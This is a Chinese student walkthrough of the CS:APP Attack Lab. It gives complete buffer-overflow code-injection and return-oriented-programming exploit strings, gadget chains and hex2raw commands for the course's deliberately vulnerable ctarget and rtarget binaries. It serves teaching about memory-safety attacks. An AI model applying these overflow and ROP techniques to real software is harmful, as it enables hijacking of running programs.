进行5次攻击,前三个leve为代码注入攻击,后两个为面向返回编程。
README.txt:描述目录内容的文件
ctarget:易受代码注入攻击的可执行程序
rtarget:易受面向返回编程攻击的可执行程序
cookie.txt:8位十六进制代码,您将在攻击中使用它作为唯一标识符。
farm.c:目标“gadget farm”的源代码,您将使用它生成面向返回的编程攻击。
hex2raw:生成攻击字符串的实用程序。
注:注意给文件开放权限
attack lab 官方文档:http://csapp.cs.cmu.edu/3e/attacklab.pdf
attack lab 大佬机翻:《深入理解计算机系统》实验三Attack Lab下载和官方文档机翻_Addyz的博客-CSDN博客_hex2raw怎么用
ctarget将执行test函数,你的任务是在执行完getbuf函数后,程序不执行test函数,而是执行touch1函数。
我们首先查看getbuf的汇编代码
可以看到getbuf开辟了0x28也就是40个字符大小空间。
此时简化的的栈图为
所以只要我们输入的数据填满getbuf()开辟的40个空间就会溢出并覆盖返回地址,当getbuf()执行完毕时就会跳转到返回地址。所以我们的攻击序列是任意40个字符加上返回地址。因为我们是在小端机器上做实验,所以返回地址序列要满足小端规则。
查看touch1地址为0x4017c0
所以我们的攻击序列为
//ans.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
然后用hex2raw将其转化为攻击字符串(因为hex2raw的转化是以空格为间隔,所以换行时记得打空格)
./hex2raw out.txt
然后运行(因为我们不是cmu的学生所以无法连接cmu的服务器,运行时要 -q)
./ctarget -q -i out.txt
过啦!
您的任务是让 CTARGET 执行 touch2 的代码,而不是返回测试。 但是,在这种情况下,您必须使它看起来像 touch2,好像您已将 cookie 作为其参数传递一样
可以看到这次跳转需要传递参数cookie(存放在cookie.txt文件中,我的cookie为0x59b997fa),所以我们要在跳转前将cookie传递进寄存器%rdi,而要达到这种效果就需要植入我们自己的代码。所以我们可以在攻击序列中加入相关机器码,而返回地址就是该机器码的地址,最后将touch2的地址(0x4017ec)压入栈中,机器码执行完毕自动跳转到该地址。由此我们须植入的机器码的汇编代码为
//t2.s
movq $0x59b997fa,%rdi
pushq $0x4017ec
ret
编译
gcc -c t2.s
查看对应机器码
因为后续要跳转到我们写入的机器码地址,而我打算将机器码直接写在缓冲起点,所以需要找到getbuf的缓冲起点,我们就在getbuf开辟0x28空间之后打个断点然后查看$rsp的地址,该地址就是缓冲起点
然后运行并查看断点位置的%rsp地址,就是缓冲起点。
得到地址为0x5561dc78
此时可以写出攻击序列
48 c7 c7 fa 97 b9 59 68 // 机器码
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 // 机器码起点地址
转换攻击字符后执行
过啦!
您的任务是让 CTARGET 执行 touch3 的代码,而不是返回测试。 您必须让它在 touch3 看来就像您传递了 cookie 的字符串表示作为其参数一样。
这次需要将cookie转化为字符串表示并存放在攻击序列中,然后跳转进入touch3时传递cookie字符串的首地址。这个level只需 在上个level上做一点点修改便可成功,但是要注意的是hexmatch函数开辟了110个字符空间,大于getbuf开辟的40个空间,所以将cookie的字符串保存在缓冲区内肯定会被覆盖,所以我们可以将cookie的字符串保存在返回地址的后面。cookie的ASCII码表示为
cookie: 0x59b997fa : 35 39 62 39 39 37 66 61 (在控制面板输入 man ascii 即可查询)
查看touch3地址
touch3:0x4018fa
我们注入的机器码对应的汇编代码为
movq $0x5561dca8,%rdi
pushq $0x4018fa
ret
因为缓冲起点为0x5561dc78,所以字符串首地址为0x5561dc78+0x28(缓冲区大小)+0x8(返回地址大小) = 0x5561dca8。
转化为机器码
所以我们的攻击序列为
48 c7 c7 a8 dc 61 55 68 // 机器码
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 // 机器码地址
35 39 62 39 39 37 66 61 // cookie的ASCII码
转化为攻击字符后执行
过啦!
第二阶段开启了
所以我们要使用面向返回编程来达到我们的目的。其实面向返回编程的原理就是利用用一个个的gadget组合起来达到相关机器码的效果。因为gadget是以ret结尾,所以一个gadget执行完后会跳转到你写入的下一个gadget的地址。
根据实验参考文件,所需的所有gadget
都可以在函数start_farm
和mid_farm
划分的rtarget
的代码区域中找到。
0000000000401994 :
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 retq
000000000040199a :
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 retq
00000000004019a0 :
4019a0: 8d 87 `48 89 c7 c3` lea -0x3c3876b8(%rdi),%eax # movq %rax,%rdi
4019a6: c3 retq
00000000004019a7 :
4019a7: 8d 87 51 73 `58 90` lea -0x6fa78caf(%rdi),%eax # popq %rax
4019ad: `c3` retq
00000000004019ae :
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 retq
00000000004019b5 :
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 retq
00000000004019bc :
4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4019c2: c3 retq
00000000004019c3 :
4019c3: c7 07 `48 89 c7 90` movl $0x90c78948,(%rdi)
4019c9: `c3` retq
00000000004019ca :
4019ca: b8 29 `58 90 c3` mov $0xc3905829,%eax
4019cf: c3 retq
00000000004019d0 :
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3 retq
00000000004019d6 :
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
00000000004019db :
4019db: b8 5c `89 c2 90` mov $0x90c2895c,%eax #movl %eax,%edx
4019e0: `c3` retq
00000000004019e1 :
4019e1: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi)
4019e7: c3 retq
00000000004019e8 :
4019e8: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax
4019ee: c3 retq
00000000004019ef :
4019ef: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax
4019f5: c3 retq
00000000004019f6 :
4019f6: b8 89 d1 48 c0 mov $0xc048d189,%eax
4019fb: c3 retq
00000000004019fc :
4019fc: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi)
401a02: c3 retq
0000000000401a03 :
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 retq
0000000000401a0a :
401a0a: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)
401a10: c3 retq
0000000000401a11 :
401a11: 8d 87 `89 ce 90 90` lea -0x6f6f3177(%rdi),%eax #movl %ecx,%esi
401a17: `c3` retq
0000000000401a18 :
401a18: b8 48 89 e0 c1 mov $0xc1e08948,%eax
401a1d: c3 retq
0000000000401a1e :
401a1e: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax
401a24: c3 retq
0000000000401a25 :
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax
401a2b: c3 retq
0000000000401a2c :
401a2c: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)
401a32: c3 retq
0000000000401a33 :
401a33: b8 `89 d1 38 c9` mov $0xc938d189,%eax #movl %edx,%ecx
401a38: `c3` retq
0000000000401a39 :
401a39: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax
401a3f: c3 retq
0000000000401a40 :
401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax
401a46: c3 retq
0000000000401a47 :
401a47: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax
401a4d: c3 retq
0000000000401a4e :
401a4e: b8 99 d1 08 d2 mov $0xd208d199,%eax
401a53: c3 retq
0000000000401a54 :
401a54: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax
401a59: c3 retq
0000000000401a5a :
401a5a: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
401a60: c3 retq
0000000000401a61 :
401a61: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax
401a67: c3 retq
0000000000401a68 :
401a68: b8 89 d1 08 db mov $0xdb08d189,%eax
401a6d: c3 retq
0000000000401a6e :
401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
401a74: c3 retq
0000000000401a75 :
401a75: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi)
401a7b: c3 retq
0000000000401a7c :
401a7c: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi)
401a82: c3 retq
0000000000401a83 :
401a83: 8d 87 08 `89 e0 90` lea -0x6f1f76f8(%rdi),%eax
401a89: `c3` retq
0000000000401a8a :
401a8a: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax
401a90: c3 retq
0000000000401a91 :
401a91: b8 88 ce 20 c0 mov $0xc020ce88,%eax
401a96: c3 retq
0000000000401a97 :
401a97: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
401a9d: c3 retq
0000000000401a9e :
401a9e: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax
401aa4: c3 retq
0000000000401aa5 :
401aa5: b8 8d ce 20 d2 mov $0xd220ce8d,%eax
401aaa: c3 retq
0000000000401aab :
401aab: c7 07 `48 89 e0 90` movl $0x90e08948,(%rdi) #movq %rsp,%rax
401ab1: `c3` retq
0000000000401ab2 :
401ab2: b8 01 00 00 00 mov $0x1,%eax
401ab7: c3 retq
满足条件的gadget
0x4019a2 | 48 89 c7 c3 | movq %rax,%rdi | |
0x4019ab | 58 (90) c3 | popq %rax | |
0x401aad | 48 89 e0 (90) c3 | movq %rsp,%rax | |
0x4019dd | 89 c2 (90) c3 | movl %eax,%edx | |
0x401a34 | 89 d1 (38) (c9) c3 | movl %edx,%ecx | |
0x401a13 | 89 ce (90) (90) c3 | movl %ecx,%esi | |
0x4019d6 | 48 8d 04 37 c3 | lea (%rdi,%rsi,1),%rax |
括号内机器码为nop或2字节指令,不会影响代码执行。
level4我们需要达成level2的效果,所以我们的攻击序列结构应该如下
1 填充 0x28个空间
2 popq %rax // 58 c3
3 cookie // 0x59b997fa
4 movq %rax,%rdi // 48 89 c7 c3
5 touch2 // 0x00000000004017ec
然后相应的gadget和其地址为
0x4019ca | 58 (90) c3 | popq %rax | |
0x4019a2 | 48 89 c7 c3 | movq %rax,%rdi |
所以我们的攻击序列为
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//填充
ab 19 40 00 00 00 00 00
//gadget1
fa 97 b9 59 00 00 00 00
//cookie
a2 19 40 00 00 00 00 00
//gadget2
ec 17 40 00 00 00 00 00
//touch2
转为攻击字符并执行
过啦!
最后一个我们是要实现leve3的效果,而我们要传入cookie字符首地址的话只能靠写入然后利用cookie地址与栈顶%rsp的偏移来计算。因为没有找到达到要求的add运算,所以找到了替代用的
00000000004019d6 :
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
所以我们的攻击序列结构为
1 填充
2 movq %rsp,%rax : 0x401a06
3 movq %rax,%rdi : 0x4019a2
4 popq %rax : 0x4019ab
5 $value(偏移量) : 0x58
6 movl %eax,%edx : 0x4019dd
7 movl %edx,%ecx : 0x401a70
8 movl %ecx,%esi : 0x401a13
9 call : 0x4019d6
10 movq %rax,%rdi : 0x4019a2
11 call : 0x4018fa
12 cookie : 35 39 62 39 39 37 66 61
计算得偏移量为0x48.
所以攻击序列为
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//填充
06 1A 40 00 00 00 00 00
//target1
A2 19 40 00 00 00 00 00
//target2
AB 19 40 00 00 00 00 00
//target3
48 00 00 00 00 00 00 00
//偏移量
DD 19 40 00 00 00 00 00
//target4
70 1A 40 00 00 00 00 00
//target5
13 1A 40 00 00 00 00 00
//target6
D6 19 40 00 00 00 00 00
//target7
A2 19 40 00 00 00 00 00
//target8
FA 18 40 00 00 00 00 00
//target9
35 39 62 39 39 37 66 61
//cookie
转化攻击字符并运行
过啦!